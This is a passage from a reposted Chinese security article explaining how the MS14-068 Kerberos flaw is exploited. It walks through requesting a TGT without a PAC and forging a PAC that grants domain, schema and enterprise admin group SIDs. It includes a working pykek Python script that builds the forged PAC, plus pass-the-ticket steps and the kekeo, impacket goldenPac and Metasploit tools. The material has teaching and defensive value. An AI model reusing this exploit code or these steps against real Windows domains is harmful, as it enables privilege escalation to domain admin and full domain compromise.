之前说的TGT票据放在这个结构体里面,就是放在ticket里面 。
authenticator 的内容包括加密类型和用session_key加密Authenticator加密成的密文 。
Authenticator的结构如下
Authenticator ::= [APPLICATION 2] SEQUENCE {authenticator-vno [0] INTEGER (5),crealm [1] Realm,cname [2] PrincipalName,cksum [3] Checksum OPTIONAL,cusec [4] Microseconds,ctime [5] KerberosTime,subkey [6] EncryptionKey OPTIONAL,seq-number [7] UInt32 OPTIONAL,authorization-data [8] AuthorizationData OPTIONAL}
其中加密PAC的密钥就放在subkey里面 。
大体流程就是KDC拿到APREQ之后,提取里面authenticator的密文,用sessionkey解密获得subkey,再使用subkey解密enc-authorization-data获得PAC.而PAC是我们自己伪造的.
所以最后梳理一下MS14068漏洞利用思路 。
1.发起一个 PAPACREQUEST里面选择include_pac 为false 。此时生成的TGT票据是不含有PAC的
文章插图
2.伪造一个PAC
sid为当前用户的sid.将如下组的 sid加进GroupId
- 域用户(513)
- 域管理员(512)
- 架构管理员(518)
- 企业管理员(519)
- 组策略创建者所有者(520)
from kek.pac import build_pacfrom kek.util import gt2epochfrom kek.krb5 import AD_WIN2K_PAC,AuthorizationData,AD_IF_RELEVANTfrom pyasn1.codec.der.encoder import encodeif __name__ == '__main__':user_realm = "0day.org" #改成自己的user_name = "jack" #改成自己的user_sid = "S-1-5-21-1812960810-2335050734-3517558805-1133" #改成自己的# logon_time = gt2epoch(str(as_rep_enc['authtime']))logon_time = gt2epoch('20191112101422Z')print(logon_time)authorization_data = https://www.isolves.com/it/wl/zs/2019-12-30/(AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))ad1 = AuthorizationData()ad1[0] = Nonead1[0]['ad-type'] = authorization_data[0]ad1[0]['ad-data'] = authorization_data[1]ad = AuthorizationData()ad[0] = Nonead[0]['ad-type'] = AD_IF_RELEVANTad[0]['ad-data'] = encode(ad1)data = encode(ad)with open("jack.pac","wb") as f:f.write(data)
注意这里的logontime来自于第一步中生成的ASREP的enc_part解密后的的authtime,在工具里面右键复制就行文章插图
3.发起一次服务用户是krbtgt的TGSREQ,此时导入的TGT里面是不含有PAC的(在第一步里面选择include=False返回的TGT不含有pac),然后将我们伪造的PAC是加密放在 enc-authorization-data里面 。
加密用的key的放在PA-DATA里面的APREQ 。
此时返回的TGS里面就含有我们伪造的PAC 。
在之前的文章里面我们说过,在TGS里面,如果请求的服务是krbtgt的话,那么返回的TGS票据是可以当做TGT的 。
在我们的kerbreos测试工具里面,只需要导入上面makepac.py生成的pac文件 。
文章插图
4.Pass the ticket
文章插图
这里面使用kerberos 测试工具只是为了理清楚漏洞流程 。更为方便的利用请见底下 。
四.部分相关的工具kekeo
文章插图
impacket
- goldenPac.py
文章插图
msf
- ms14068kerberos_checksum
文章插图
pykek全称是Python Kerberos Exploitation Kit
应该是ms14068漏洞利用,使用的最广泛的一个,一般常用的ms14068.exe,就是由他打包而成的
文章插图
先获取sid
文章插图
拼接成S-1-5-21-866784659-4049716574-3063611777-1104
生成tgt
文章插图
验证tgt是否具备域管权限
文章插图
作者:daiker-360RedTeam 转载自:https://www.anquanke.com/post/id/192810
推荐阅读
- windows 10系统谷歌浏览器打不开网页 windows10谷歌浏览器打不开网页
- win10设置自动换壁纸 windows10怎么换壁纸
- 安装MySQL数据库
- 网云穿内网穿透Linux版本使用教程
- win10怎么在桌面上显示便签 windows10桌面便签在哪
- windows11怎么更改默认浏览器 win10变更默认浏览器
- Kali Linux实战篇:Windows Server 2012 R2系统漏洞利用过程
- Windows11|360火绒再见!Win11安全功能大升级,新增防网络钓鱼功能
- windows10任务栏声音图标不见了 windows10右下角声音图标不见了
- HTTP协议中的长连接,读完之后,大部分程序员收藏了...